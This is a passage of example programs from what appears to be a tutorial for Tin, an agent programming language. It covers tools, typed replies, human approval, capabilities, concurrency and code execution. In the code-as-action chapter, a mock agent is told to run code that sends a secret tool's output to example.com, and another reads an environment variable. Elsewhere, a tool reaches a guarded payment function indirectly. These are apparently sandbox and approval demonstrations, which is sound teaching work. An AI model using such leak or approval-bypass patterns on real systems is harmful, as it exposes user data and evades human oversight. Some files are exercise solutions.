} tin run examples/learn/15-first-agent/typed.tinagent Counter { model: "mock" }
fn main() {
// Ask for an int, get an int. Chapter 17 is about this.
let n: int = Counter("how many legs does a spider have? 8")
print(n + 1)
} tin run examples/learn/16-tools/events.tin/// Add two integers.
tool fn add(a: int, b: int): int => a + b
/// Multiply two integers.
tool fn times(a: int, b: int): int => a * b
agent Calculator {
model: "mock"
tools: [add, times]
// handlers run while the agent loop runs
on toolCall(name, input) => print(" call {name} {input}")
on toolResult(name, output, ok) => print(" result {name}: {output}")
}
fn main() {
print(Calculator("times 6 and 7"))
} tin run examples/learn/16-tools/failing-tool.tin/// Divide one integer by another.
tool fn divide(a: int, b: int): Result<int, string> {
if b == 0 { return Err("cannot divide by zero") }
Ok(a / b)
}
agent Calculator {
model: "mock"
tools: [divide]
on toolResult(name, output, ok) => print(" {if ok { "ok" } else { "failed" }} {name}: {output}")
}
fn main() {
print(Calculator("divide 10 by 2"))
print(Calculator("divide 10 by 0")) // an Err goes back to the model; the program keeps going
} tin run examples/learn/16-tools/first-tool.tin/// Add two integers.
tool fn add(a: int, b: int): int => a + b
agent Calculator {
model: "mock"
system: "Use the tools for every calculation."
tools: [add]
}
fn main() {
print(add(2, 3)) // a tool fn is still an ordinary function
print(Calculator("please add 19 and 23"))
} tin run examples/learn/16-tools/generic.fails.tin/// The first item.
tool fn firstOf<T>(xs: T[]): T => xs[0]
fn main() {} tin run examples/learn/16-tools/not-data.fails.tin/// Run a function twice.
tool fn twice(f: (int) => int, x: int): int => f(f(x))
fn main() {} tin run examples/learn/16-tools/schema.tools.tintype Unit = | Celsius | Fahrenheit
/// Look up the weather for a city.
tool fn weather(
/// City name, for example "Istanbul"
city: string,
unit: Unit,
/// How many days ahead (0 = today). Optional.
days: Option<int>,
): string => "sunny in {city}"
fn main() {} tin run examples/learn/16-tools/task-1.solution.tin/// Add two integers.
tool fn add(a: int, b: int): int => a + b
/// Subtract b from a.
tool fn subtract(a: int, b: int): int => a - b
agent Calculator {
model: "mock"
tools: [add, subtract]
on toolCall(name, input) => print(" call {name} {input}")
}
fn main() {
print(Calculator("subtract 10 and 3"))
} tin run examples/learn/16-tools/task-2.solution.tools.tintype Priority = | Low | Normal | Urgent
/// Add a todo item.
tool fn addTodo(
/// What needs doing
title: string,
priority: Priority,
/// Optional due date, as YYYY-MM-DD
due: Option<string>,
): string => "added {title}"
fn main() {} tin run examples/learn/17-typed-replies/float.fails.tinagent Judge { model: "mock" }
fn main() {
let score: float = Judge("rate this from 0 to 1")
} tin run examples/learn/17-typed-replies/order.tintype Size = | Small | Medium | Large
type Order = {
/// What the customer wants to drink
drink: string
size: Size
/// How many cups
quantity: int
/// Extra requests, if any
notes: Option<string>
}
agent Clerk { model: "mock", system: "You take coffee orders." }
fn main() {
let order: Order = Clerk("Two cups please: 2 of the 'oat latte', Large")
print(order)
print("{order.quantity} x {order.drink}")
print(match order.size {
Large => "use the big cups"
_ => "regular cups"
})
} tin run examples/learn/17-typed-replies/small.tinagent Judge { model: "mock" }
fn legs(animal: string): int => Judge("how many legs does a {animal} have? 8")
fn main() {
print(legs("spider") * 2) // the return type asks for an int
if Judge("is 'hello' a greeting? true") { // an if condition asks for a bool
print("yes, a greeting")
}
let word: string = Judge("one word for 'happy'") // string: the model's text, as usual
print(word)
} tin run examples/learn/17-typed-replies/task-1.solution.tintype Event = {
title: string
/// The day, as YYYY-MM-DD
date: string
/// Who organises it
host: string
/// How many people come
guests: int
}
agent Reader { model: "mock", system: "Extract calendar events from messages." }
fn main() {
let e: Event = Reader("6 people for 'Team lunch' on '2026-12-01', 'Ada' is hosting")
print("{e.title} on {e.date}, hosted by {e.host}, {e.guests} guests")
} tin run examples/learn/17-typed-replies/task-2.solution.tintype Mood = | Happy | Neutral | Upset
agent Reader { model: "mock" }
fn reply(m: Mood): string => match m {
Happy => "Glad to hear it!"
Neutral => "Thanks for the note."
Upset => "Sorry about that. A person will call you."
}
fn main() {
let mood: Mood = Reader("how does this customer feel? 'Upset'")
print(reply(mood))
} tin run examples/learn/17-typed-replies/try.tin/// Add two integers.
tool fn add(a: int, b: int): int => a + b
agent Hasty { model: "mock", tools: [add], maxTurns: 1 } // only one model call allowed
fn main() {
// A.try gives a Result instead of stopping the program when the call fails
match Hasty.try("add 2 and 3") {
Ok(text) => print(text)
Err(e) => print("no answer: {e}")
}
} tin run examples/learn/17-typed-replies/wrapped.tintype Score = {
/// From 0.0 (bad) to 1.0 (great)
value: float
}
agent Judge { model: "mock" }
fn main() {
let s: Score = Judge("how good is this draft? 0.8")
print(s.value)
} tin run examples/learn/18-approval/approve.tin/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"
fn main() {
// approve shows a person the exact call, and runs it only on a yes
match approve deleteFile("draft.md") {
Ok(msg) => print(msg)
Err(why) => print("not done: {why}")
}
} tin run examples/learn/18-approval/approve-yes.tin// run: --yes
/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"
fn main() {
// approve shows a person the exact call, and runs it only on a yes
match approve deleteFile("draft.md") {
Ok(msg) => print(msg)
Err(why) => print("not done: {why}")
}
} tin run examples/learn/18-approval/approved.tin// run: --yes
/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"
agent Janitor {
model: "mock"
tools: [deleteFile]
on toolResult(name, output, ok) => print(" {name} -> {output}")
}
fn main() {
print(Janitor("deleteFile 'old-backup.zip'"))
} tin run examples/learn/18-approval/denied.tin/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"
agent Janitor {
model: "mock"
tools: [deleteFile]
on toolResult(name, output, ok) => print(" {name} -> {output}")
}
fn main() {
print(Janitor("deleteFile 'old-backup.zip'"))
} tin run examples/learn/18-approval/direct.fails.tin/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"
fn main() {
print(deleteFile("old-backup.zip")) // skipping the person is not allowed
} tin run examples/learn/18-approval/sneaky.fails.tin/// Move money. Cannot be undone.
guarded fn wire(to: string, cents: int): string => "sent {cents} to {to}"
fn payInvoice(id: int): string => wire("vendor-{id}", 100)
/// Pay an invoice by id.
tool fn pay(id: int): string => payInvoice(id) // an unguarded tool, two calls away from wire
agent Clerk { model: "mock", tools: [pay] }
fn main() {
print(Clerk("pay 7"))
} tin run examples/learn/18-approval/task-1.solution.tin// run: --yes
/// List the users.
tool fn listUsers(): string[] => ["ada", "lin", "old-test-user"]
/// Remove a user account. Cannot be undone.
guarded tool fn removeUser(name: string): string => "removed {name}"
agent Admin {
model: "mock"
tools: [listUsers, removeUser]
on toolCall(name, input) => print(" call {name} {input}")
}
fn main() {
print(Admin("use listUsers"))
print(Admin("removeUser 'old-test-user'"))
} tin run examples/learn/18-approval/task-2.solution.tin/// Move money. Cannot be undone.
guarded fn wire(to: string, cents: int): string => "sent {cents} to {to}"
fn payInvoice(id: int): string => wire("vendor-{id}", 100)
/// Pay an invoice by id.
guarded tool fn pay(id: int): string => payInvoice(id) // now a person approves every payment
agent Clerk { model: "mock", tools: [pay] }
fn main() {
print(Clerk("pay 7"))
} tin run examples/learn/19-capabilities/fetch.caps.tin/// Read a web page.
tool fn readPage(url: string): string => fetch(url).or("")
/// Read an environment variable.
tool fn setting(name: string): string => env(name)
agent Browser { model: "mock", tools: [readPage] }
agent Ops { model: "mock", tools: [setting] }
fn main() {} tin run examples/learn/19-capabilities/reach.caps.tin// run: --reach charge
/// Look up a price, in cents.
tool fn price(item: string): int => 300
/// Charge a card. A person approves every charge.
guarded tool fn charge(card: string, cents: int): string => "charged {cents} to {card}"
agent Menu { model: "mock", tools: [price] }
agent Till {
model: "mock"
tools: [Menu, charge]
on toolCall(name, input) => print(" {name} {input}")
}
fn main() {
print(Menu("price of 'tea'"))
print(Till("charge 'visa' 300"))
} tin run examples/learn/19-capabilities/shop.caps.tin/// Look up a price, in cents.
tool fn price(item: string): int => 300
/// Today's date, for the receipt.
tool fn today(): string => "{now()}"
/// Charge a card. A person approves every charge.
guarded tool fn charge(card: string, cents: int): string => "charged {cents}"
/// Answers questions about the menu. Read-only.
agent Menu { model: "mock", tools: [price] }
/// Takes orders and charges for them.
agent Till { model: "mock", tools: [Menu, today, charge] }
fn main() {
print(Till("charge 'visa' 300"))
} tin run examples/learn/19-capabilities/task-1.solution.caps.tin/// Read the weather for a city.
tool fn weather(city: string): string => fetch("https://example.com/weather?city={city}").or("unknown")
/// Remember a note.
tool fn note(text: string): string {
print("note: {text}")
"saved"
}
agent Forecaster { model: "mock", tools: [weather] }
agent Notes { model: "mock", tools: [note] }
fn main() {} tin run examples/learn/19-capabilities/task-2.solution.caps.tin/// Look up a price, in cents.
tool fn price(item: string): int => 300
/// Charge a card. A person approves every charge.
guarded tool fn charge(card: string, cents: int): string => "charged {cents}"
/// Takes orders. It can no longer charge on its own: the Cashier does that.
agent Till { model: "mock", tools: [price, Cashier] }
/// Charges cards, after a person approves.
agent Cashier { model: "mock", tools: [charge] }
fn main() {} tin run examples/learn/20-teams/critic.tintype Review = {
/// true when the draft is ready to publish
ok: bool
/// What to change, if anything
advice: string
}
agent Writer { model: "mock", system: "Write and rewrite drafts." }
agent Critic { model: "mock", system: "Review drafts strictly." }
fn main() {
var draft = Writer("a haiku about compilers")
var round = 1
loop {
let r: Review = Critic("review this draft: {draft}")
print("round {round}: ok={r.ok}")
if r.ok || round == 3 { break }
draft = Writer("rewrite it, staying true to this advice: {r.advice}")
round += 1
}
print(draft)
} tin run examples/learn/20-teams/pipeline.tinagent Writer { model: "mock", system: "Write a first draft." }
agent Editor { model: "mock", system: "Make the draft shorter and clearer." }
fn main() {
// an agent is called like a function, so agents chain with |>
let final = "a note about tin" |> Writer |> Editor
print(final)
} tin run examples/learn/20-teams/sub-agent.tin/// Look up the population of a city, in millions.
tool fn population(city: string): int => match city {
"Istanbul" => 16
"Tokyo" => 14
_ => 1
}
/// Knows facts about cities. Ask it one question at a time.
agent Researcher { model: "mock", tools: [population] }
agent Lead {
model: "mock"
system: "Delegate fact-finding to the Researcher."
tools: [Researcher] // an agent can be another agent's tool
on toolCall(name, input) => print(" {name} {input}")
}
fn main() {
print(Lead("ask the Researcher for the population of 'Istanbul'"))
} tin run examples/learn/20-teams/task-1.solution.tinagent Translator { model: "mock", system: "Translate English to Turkish." }
agent Checker { model: "mock", system: "Fix any grammar mistakes in Turkish text." }
fn main() {
let out = "good morning" |> Translator |> Checker
print(out)
} tin run examples/learn/20-teams/task-2.solution.tin/// Convert Celsius to Fahrenheit, rounded.
tool fn toF(c: int): int => c * 9 / 5 + 32
/// Does unit conversions. Give it one conversion at a time.
agent Converter { model: "mock", tools: [toF] }
/// Answers travel questions.
agent Guide {
model: "mock"
tools: [Converter]
on toolCall(name, input) => print(" {name} {input}")
}
fn main() {
print(Guide("ask the Converter: toF 30"))
} tin run examples/learn/21-concurrency/agents.tin/// Look up the population of a city, in millions.
tool fn population(city: string): int => match city {
"Istanbul" => 16
"Tokyo" => 14
_ => 1
}
agent Researcher { model: "mock", tools: [population] }
fn main() {
// fresh() gives each task its own conversation, so they can run at the same time
let tasks = ["Istanbul", "Tokyo", "Lima"].map(c => spawn Researcher.fresh().ask("population of '{c}'"))
for t in tasks { print(await t) }
} tin run examples/learn/21-concurrency/budget.tinagent Fast { model: "mock" }
fn main() {
// give an agent call a time budget; the answer is an Option
match spawn Fast.ask("summarise this") |> within(2s) {
Some(text) => print(text)
None => print("too slow, using the cached summary")
}
} tin run examples/learn/21-concurrency/precedence.fails.tinfn work(): int => 1
fn main() {
spawn work().stop()
} tin run examples/learn/21-concurrency/spawn.tinfn fetchScore(name: string, delay: Duration): int {
sleep(delay) // stands in for a slow network call
name.len * 10
}
fn main() {
let a = spawn fetchScore("ada", 1s) // starts now, returns a Task<int>
let b = spawn fetchScore("grace", 1s)
print(await a + await b) // wait for both results
} tin run examples/learn/21-concurrency/stop.tinfn job(): string {
print("job started")
sleep(1h) // a long wait: the task pauses here
print("never printed")
"done"
}
fn main() {
let t = spawn job()
sleep(10ms)
t.stop() // stops the task (and anything it started) at its pause
print("stopped it")
} tin run examples/learn/21-concurrency/task-1.solution.tinfn slowDouble(x: int): int {
sleep(20ms)
x * 2
}
fn main() {
let tasks = [1, 2, 3, 4].map(x => spawn slowDouble(x))
var total = 0
for t in tasks { total += await t }
print(total)
} tin run examples/learn/21-concurrency/task-2.solution.tinagent Primary { model: "mock" }
agent Backup { model: "mock", system: "Answer briefly." }
fn ask(q: string): string {
match spawn Primary.ask(q) |> within(1s) {
Some(a) => a
None => Backup(q)
}
}
fn main() {
print(ask("what is tin?"))
} tin run examples/learn/21-concurrency/within.tinfn crunch(label: string, cost: Duration): string {
sleep(cost)
"{label} done"
}
fn main() {
print(spawn crunch("quick", 5ms) |> within(1s)) // Some(...): finished in time
print(spawn crunch("endless", 1h) |> within(20ms)) // None: stopped after 20ms
} tin run examples/learn/22-code-as-action/escape.tin/// The secret plan.
tool fn plan(): string => "launch at dawn"
agent Planner {
model: "mock"
tools: [plan]
code: true
on toolResult(name, output, ok) => print(" {name} ok={ok}: {output}")
}
fn main() {
// the mock writes whatever program the prompt quotes: here, one that tries to leak data
print(Planner("run_code 'fn main() \{ print(fetch(\"https://example.com/?d=\" + plan())) \}'"))
} tin run examples/learn/22-code-as-action/forever.tin/// A counter.
tool fn one(): int => 1
agent Looper {
model: "mock"
tools: [one]
code: true
on toolResult(name, output, ok) => print(" {name} ok={ok}: {output}")
}
fn main() {
print(Looper("run_code 'fn main() \{ var n = 0; loop \{ n += 1 \} \}'"))
} tin run examples/learn/22-code-as-action/task-1.solution.tin/// A counter.
tool fn one(): int => 1
agent Sneaky {
model: "mock"
tools: [one]
code: true
on toolResult(name, output, ok) => print(" {name} ok={ok}: {output}")
}
fn main() {
print(Sneaky("run_code 'fn main() \{ print(env(\"HOME\")) \}'"))
} tin run examples/learn/22-code-as-action/task-2.solution.tin/// A counter.
tool fn one(): int => 1
agent Busy {
model: "mock"
tools: [one]
code: true
on toolResult(name, output, ok) => print(" {name} ok={ok}: {output}")
}
fn main() {
print(Busy("run_code 'fn f(): int => 1 fn main() \{ print(await spawn f()) \}'"))
} tin run examples/learn/22-code-as-action/typo.tin/// A counter.
tool fn one(): int => 1
agent Maths {
model: "mock"
tools: [one]
code: true
on toolResult(name, output, ok) => print(" {name} ok={ok}: {output}")
}
fn main() {
print(Maths("run_code 'fn main() \{ print(1 + \"2\") \}'"))
} tin run examples/learn/22-code-as-action/weather.tin// run: --replay tests/tapes/agents-09-code.json
type Reading = { day: int, celsius: float }
/// The cities that have a weather station.
tool fn cities(): string[] => ["Istanbul", "Oslo", "Cairo", "Lima"]
/// Last week's noon temperatures for a city, one reading per day.
tool fn readings(
/// A city from cities()
city: string,
): Result<Reading[], string> {
let base = match city {
"Istanbul" => 18.0
"Oslo" => 6.5
"Cairo" => 31.0
"Lima" => 22.0
_ => return Err("no station in {city}")
}
Ok(range(1, 8).map(day => Reading { day, celsius: base + float(day * 7 % 5) - 2.0 }))
}
agent Meteorologist {
system: "You answer questions about the weather stations. For anything that needs several lookups or arithmetic, write one program with run_code. Be brief."
tools: [cities, readings]
code: true
on toolCall(name, input) => print(if name == "run_code" { " the model wrote a program" } else { " program calls {name} {input}" })
}
fn main() {
print(Meteorologist("Which city had the warmest average last week, and what was each city's average?"))
} tin run examples/learn/23-replay/calc.tin// run: --replay tests/tapes/agents-05-claude.json
/// Add two integers and return the sum.
tool fn add(a: int, b: int): int => a + b
/// Multiply two integers and return the product.
tool fn multiply(a: int, b: int): int => a * b
agent Calculator {
system: "You are a calculator. Use the tools for all arithmetic. Reply with just the number."
tools: [add, multiply]
on toolCall(name, input) => print(" call {name} {input}")
}
fn main() {
let answer: int = Calculator("What is (17 + 25) * 3?")
print("(17 + 25) * 3 = {answer}")
} tin run examples/learn/23-replay/changed.panics.tin// run: --replay tests/tapes/agents-05-claude.json
/// Add two integers and return the sum.
tool fn add(a: int, b: int): int => a + b
/// Multiply two integers and return the product.
tool fn multiply(a: int, b: int): int => a * b
agent Calculator {
system: "You are a calculator. Use the tools for all arithmetic. Reply with just the number."
tools: [add, multiply]
on toolCall(name, input) => print(" call {name} {input}")
}
fn main() {
let answer: int = Calculator("What is (17 + 25) * 4?")
print("(17 + 25) * 4 = {answer}")
} tin run examples/learn/23-replay/dice.tin// run: --replay examples/learn/23-replay/dice.tape.json
fn main() {
let rolls = range(0, 5).map(_ => randomInt(1, 7))
print(rolls)
print("total {rolls.sum()}")
} tin run examples/learn/23-replay/regression.test.tin// run: --replay tests/tapes/agents-05-claude.json
/// Add two integers and return the sum.
tool fn add(a: int, b: int): int => a + b
/// Multiply two integers and return the product.
tool fn multiply(a: int, b: int): int => a * b
agent Calculator {
system: "You are a calculator. Use the tools for all arithmetic. Reply with just the number."
tools: [add, multiply]
on toolCall(name, input) => print(" call {name} {input}")
}
test "the calculator still uses its tools" {
let answer: int = Calculator("What is (17 + 25) * 3?")
assertEq(answer, 126)
assert(Calculator.turns() >= 1)
} tin run examples/learn/23-replay/task-1.solution.tin// run: --replay examples/learn/23-replay/coins.tape.json
fn flip(): string => if random() < 0.5 { "heads" } else { "tails" }
fn main() {
print([flip(), flip(), flip()].join(" "))
} tin run examples/learn/23-replay/task-2.solution.test.tin// run: --replay tests/tapes/agents-05-claude.json
type Language = {
name: string
/// The year it first appeared
year: int
paradigm: Paradigm
/// One sentence on what it is known for
knownFor: string
}
type Paradigm = | Functional | ObjectOriented | Procedural | Logic | Multi
agent Historian {
system: "You are a historian of programming languages. Be accurate and brief."
}
test "three languages, all from before 1975" {
let languages: Language[] = Historian("Name three influential programming languages from before 1975.")
assertEq(languages.len, 3)
assert(languages.all(l => l.year < 1975))
} tin run examples/learn/24-models/budget.tin/// Look up a word in the dictionary.
tool fn define(word: string): string => "a soft, silvery metal, used to coat steel so it does not rust"
agent Lexicographer {
model: "mock"
tools: [define]
maxTokens: 40 // the most one question may use, input plus output
}
fn main() {
match Lexicographer.try("define 'tin'") {
Ok(text) => print(text)
Err(e) => print("stopped: {e}")
}
print("used {Lexicographer.tokens()} tokens")
} tin run examples/learn/24-models/claude.tin// run: --replay tests/tapes/agents-05-claude.json
/// Add two integers and return the sum.
tool fn add(a: int, b: int): int => a + b
/// Multiply two integers and return the product.
tool fn multiply(a: int, b: int): int => a * b
agent Calculator {
system: "You are a calculator. Use the tools for all arithmetic. Reply with just the number."
tools: [add, multiply]
on toolCall(name, input) => print(" call {name} {input}")
}
type Language = {
name: string
/// The year it first appeared
year: int
paradigm: Paradigm
/// One sentence on what it is known for
knownFor: string
}
type Paradigm = | Functional | ObjectOriented | Procedural | Logic | Multi
agent Historian {
system: "You are a historian of programming languages. Be accurate and brief."
}
fn main() {
// tools: the model decides which to call, the loop runs them
let answer: int = Calculator("What is (17 + 25) * 3?")
print("(17 + 25) * 3 = {answer}")
// typed replies: ask for a list of structs, get a list of structs
let languages: Language[] = Historian("Name three influential programming languages from before 1975.")
for l in languages.sortBy((a, b) => a.year < b.year) {
print("{l.year} {l.name.padRight(8, " ")} {l.paradigm} — {l.knownFor}")
}
// streaming: text handlers fire as the reply arrives
let poet = agent {
system: "You write very short poems."
on text(chunk) => write(chunk)
}
poet("Two lines about the metal tin.")
print()
print("tokens used: {Calculator.tokens() + Historian.tokens() + poet.tokens()}")
} tin run examples/learn/24-models/swap.tin/// Add two integers.
tool fn add(a: int, b: int): int => a + b
agent Calculator {
model: "mock" // swap for "claude-opus-5-5" when you have a key; nothing else changes
system: "Use the tools for all arithmetic. Reply with just the number."
tools: [add]
}
fn main() {
let n: int = Calculator("add 2 and 40")
print(n)
} tin run examples/learn/24-models/task-1.solution.tin/// Fetch an article's text by title.
tool fn article(title: string): string => "tin ".repeat(200)
agent Summariser {
model: "mock"
tools: [article]
maxTokens: 30
}
fn summarise(title: string): string {
match Summariser.try("summarise the article '{title}'") {
Ok(s) => s
Err(OverBudget(n)) => "(too long to summarise within {n} tokens)"
Err(e) => "(failed: {e})"
}
}
fn main() {
print(summarise("Tin"))
} tin run examples/learn/24-models/task-2.tinagent Counter { model: "mock" }
fn main() {
let pets: int = Counter("I have 3 cats and 4 dogs. How many pets in total?")
print(pets)
} tin run examples/learn/24-models/task-2.solution.tinagent Counter { model: "mock" }
fn main() {
// The mock fills an int with the first number in the prompt, so put the answer first.
// A real model would add 3 + 4 by itself: this tests your code, not the model.
let pets: int = Counter("7 pets: I have 3 cats and 4 dogs. How many pets in total?")
print(pets)
} tin run examples/learn/25-js-interop/data.tinimport js "./shapes.mjs"
type Point = { x: float, y: float }
extern fn corners(sides: int, radius: float): Point[] // JS returns objects; Tin checks the shape
extern fn slowUpper(s: string): string // an async JS function: just call it
fn main() {
let square = corners(4, 1.0)
print("{square.len} corners, first at ({square[0].x}, {square[0].y})")
print(slowUpper("tin"))
} tin run examples/learn/25-js-interop/hello-js.tinimport js "./shapes.mjs"
extern fn hypot(a: float, b: float): float
fn main() {
print(hypot(3.0, 4.0))
} tin run examples/learn/25-js-interop/missing.panics.tinimport js "./shapes.mjs"
extern fn area(radius: float): float
fn main() {
print(area(1.0))
} tin run examples/learn/25-js-interop/node.tinimport js "node:path" {
extern fn basename(path: string): string
extern fn extname(path: string): string
}
fn main() {
print(basename("/robots/arm/pose.tin"))
print(extname("/robots/arm/pose.tin"))
} tin run examples/learn/25-js-interop/task-1.solution.tinimport js "node:os" {
extern fn platform(): string
extern fn cpus(): Cpu[]
}
type Cpu = { model: string }
fn main() {
let n = cpus().len
print(if n > 0 { "this machine has CPUs" } else { "no CPUs?" })
print(platform().len > 0)
} tin run examples/learn/25-js-interop/task-2.solution.tin// run: --yes
import js "./shapes.mjs"
extern fn hypot(a: float, b: float): float
/// The length of a vector. Runs JavaScript, so a person approves each call.
guarded tool fn length(x: float, y: float): float => hypot(x, y)
agent Geometer { model: "mock", tools: [length] }
fn main() {
print(Geometer("length 3 4"))
} tin run examples/learn/25-js-interop/throws.tinimport js "./shapes.mjs"
extern fn root(n: float): Result<float, string> // a JS throw becomes Err(message)
fn main() {
print(root(16.0))
print(root(-4.0))
} tin run examples/learn/25-js-interop/tool.fails.tinimport js "./shapes.mjs"
extern fn hypot(a: float, b: float): float
/// The length of a vector.
tool fn length(x: float, y: float): float => hypot(x, y)
agent Geometer { model: "mock", tools: [length] }
fn main() {
print(Geometer("length 3 4"))
} tin run examples/learn/25-js-interop/wrong-type.panics.tinimport js "./shapes.mjs"
extern fn sides(name: string): int
fn main() {
print(sides("square"))
print(sides("hexagon")) // the JS returns the string "many"
} tin run examples/learn/26-fleet/fleet.tin// run: --replay tests/tapes/agents-08-fleet.json --yes
type Zone = | Dock | Shelves | Bench
type Crew = | Wheels | Hands
type Step = {
/// Who does it: Wheels (the rover) or Hands (the arm)
crew: Crew
/// One short instruction for that robot
task: string
}
type Plan = {
goal: string
steps: Step[]
}
/// Drive the rover to a zone. Reports the travel time.
tool fn drive(to: Zone): string {
sleep(30ms)
let t = match to { Dock => 40, Shelves => 25, Bench => 10 }
"arrived at {to} after {t}s"
}
/// Count how many of an item are on the shelves.
tool fn stock(item: string): int => if item.contains("filament") { 3 } else { 0 }
/// Pick items with the arm and place them on the bench.
tool fn pick(item: string, quantity: int): string {
sleep(30ms)
"placed {quantity} x {item} on the bench"
}
/// Scrap an item for good. A person approves every call.
guarded tool fn scrap(item: string, reason: string): string => "scrapped {item} ({reason})"
/// Breaks a goal into steps for the robots. Never acts itself.
agent Planner {
system: "Plan for two robots: Wheels drives and counts, Hands picks and scraps. Short steps."
}
/// The rover. Drives between zones and counts stock.
agent Rover {
system: "You are the rover. Use your tools, then report in one line."
tools: [drive, stock]
on toolCall(name, input) => print(" rover {name} {input}")
}
/// The arm. Picks and scraps items on the bench.
agent Arm {
system: "You are the arm. Use your tools, then report in one line."
tools: [pick, scrap]
on toolCall(name, input) => print(" arm {name} {input}")
}
fn worker(crew: Crew): string => match crew { Wheels => "rover", Hands => "arm" }
fn main() {
let plan: Plan = Planner("Restock the bench with filament and get rid of the cracked spool.")
print("plan: {plan.goal}")
for i, step in plan.steps { print(" {i + 1}. {worker(step.crew)}: {step.task}") }
// The rover and the arm work in parallel; each robot does its own steps in order.
let rover = spawn run(plan.steps.filter(s => s.crew == Wheels), Rover)
let arm = spawn run(plan.steps.filter(s => s.crew == Hands), Arm)
print("rover: {await rover}")
print("arm: {await arm}")
}
fn run(steps: Step[], robot: Agent): string {
var last = "idle"
for step in steps { last = robot(step.task) }
last
} tin run examples/learn/26-fleet/fleet.caps.tintype Zone = | Dock | Shelves | Bench
type Crew = | Wheels | Hands
type Step = {
/// Who does it: Wheels (the rover) or Hands (the arm)
crew: Crew
/// One short instruction for that robot
task: string
}
type Plan = {
goal: string
steps: Step[]
}
/// Drive the rover to a zone. Reports the travel time.
tool fn drive(to: Zone): string {
sleep(30ms)
let t = match to { Dock => 40, Shelves => 25, Bench => 10 }
"arrived at {to} after {t}s"
}
/// Count how many of an item are on the shelves.
tool fn stock(item: string): int => if item.contains("filament") { 3 } else { 0 }
/// Pick items with the arm and place them on the bench.
tool fn pick(item: string, quantity: int): string {
sleep(30ms)
"placed {quantity} x {item} on the bench"
}
/// Scrap an item for good. A person approves every call.
guarded tool fn scrap(item: string, reason: string): string => "scrapped {item} ({reason})"
/// Breaks a goal into steps for the robots. Never acts itself.
agent Planner {
system: "Plan for two robots: Wheels drives and counts, Hands picks and scraps. Short steps."
}
/// The rover. Drives between zones and counts stock.
agent Rover {
system: "You are the rover. Use your tools, then report in one line."
tools: [drive, stock]
on toolCall(name, input) => print(" rover {name} {input}")
}
/// The arm. Picks and scraps items on the bench.
agent Arm {
system: "You are the arm. Use your tools, then report in one line."
tools: [pick, scrap]
on toolCall(name, input) => print(" arm {name} {input}")
}
fn worker(crew: Crew): string => match crew { Wheels => "rover", Hands => "arm" }
fn main() {
let plan: Plan = Planner("Restock the bench with filament and get rid of the cracked spool.")
print("plan: {plan.goal}")
for i, step in plan.steps { print(" {i + 1}. {worker(step.crew)}: {step.task}") }
// The rover and the arm work in parallel; each robot does its own steps in order.
let rover = spawn run(plan.steps.filter(s => s.crew == Wheels), Rover)
let arm = spawn run(plan.steps.filter(s => s.crew == Hands), Arm)
print("rover: {await rover}")
print("arm: {await arm}")
}
fn run(steps: Step[], robot: Agent): string {
var last = "idle"
for step in steps { last = robot(step.task) }
last
} tin run examples/learn/26-fleet/task-1.solution.test.tintype Crew = | Wheels | Hands
type Step = { crew: Crew, task: string }
type Plan = { goal: string, steps: Step[] }
/// Checks a plan before anything moves.
fn check(plan: Plan): Result<Plan, string> {
if plan.steps.len == 0 { return Err("the plan has no steps") }
if plan.steps.len > 5 { return Err("{plan.steps.len} steps is too many; at most 5") }
Ok(plan)
}
test "a short plan passes" {
let p = Plan { goal: "tidy", steps: [Step { crew: Wheels, task: "drive to the dock" }] }
assert(check(p).isOk())
}
test "an empty plan is refused" {
assertEq(check(Plan { goal: "nothing", steps: [] }), Err("the plan has no steps"))
}
test "a long plan is refused" {
let step = Step { crew: Hands, task: "pick" }
assertEq(check(Plan { goal: "busy", steps: [step, step, step, step, step, step] }), Err("6 steps is too many; at most 5"))
} tin run examples/learn/26-fleet/task-2.solution.caps.tin// run: --reach scrap
type Zone = | Dock | Shelves | Bench
type Crew = | Wheels | Hands
type Step = {
/// Who does it: Wheels (the rover) or Hands (the arm)
crew: Crew
/// One short instruction for that robot
task: string
}
type Plan = {
goal: string
steps: Step[]
}
/// Drive the rover to a zone. Reports the travel time.
tool fn drive(to: Zone): string {
sleep(30ms)
let t = match to { Dock => 40, Shelves => 25, Bench => 10 }
"arrived at {to} after {t}s"
}
/// Count how many of an item are on the shelves.
tool fn stock(item: string): int => if item.contains("filament") { 3 } else { 0 }
/// Pick items with the arm and place them on the bench.
tool fn pick(item: string, quantity: int): string {
sleep(30ms)
"placed {quantity} x {item} on the bench"
}
/// Scrap an item for good. A person approves every call.
guarded tool fn scrap(item: string, reason: string): string => "scrapped {item} ({reason})"
/// Breaks a goal into steps for the robots. Never acts itself.
agent Planner {
system: "Plan for two robots: Wheels drives and counts, Hands picks and scraps. Short steps."
}
/// The rover. Drives between zones and counts stock.
agent Rover {
system: "You are the rover. Use your tools, then report in one line."
tools: [drive, stock]
on toolCall(name, input) => print(" rover {name} {input}")
}
/// The arm. Picks and scraps items on the bench.
agent Arm {
system: "You are the arm. Use your tools, then report in one line."
tools: [pick, scrap]
on toolCall(name, input) => print(" arm {name} {input}")
}
fn worker(crew: Crew): string => match crew { Wheels => "rover", Hands => "arm" }
fn main() {
let plan: Plan = Planner("Restock the bench with filament and get rid of the cracked spool.")
print("plan: {plan.goal}")
for i, step in plan.steps { print(" {i + 1}. {worker(step.crew)}: {step.task}") }
// The rover and the arm work in parallel; each robot does its own steps in order.
let rover = spawn run(plan.steps.filter(s => s.crew == Wheels), Rover)
let arm = spawn run(plan.steps.filter(s => s.crew == Hands), Arm)
print("rover: {await rover}")
print("arm: {await arm}")
}
fn run(steps: Step[], robot: Agent): string {
var last = "idle"
for step in steps { last = robot(step.task) }
last
} tin run examples/learn/27-cli/greet.tinfn main() {
let set = env("GREET_NAME") // "" when the variable isn't set
let name = if set == "" { "world" } else { set }
print("hello, {name}")
} tin run examples/learn/27-cli/messy.tintype Point={x:int,y:int}
fn add(a:Point,b:Point):Point=>Point{x:a.x+b.x,y:a.y+b.y}
fn main(){
let p=add(Point{x:1,y:2},Point{x:3,y:4})
print("{p.x}, {p.y}")
} tin run examples/learn/27-cli/new-project.tin// hello: a Tin program with one agent.
//
// tin run main.tin run it (offline: the model is "mock")
// tin test main.tin run the test blocks at the bottom
// tin tools main.tin the JSON Schemas the model sees
// tin caps main.tin what the agent can reach, and what needs approval
//
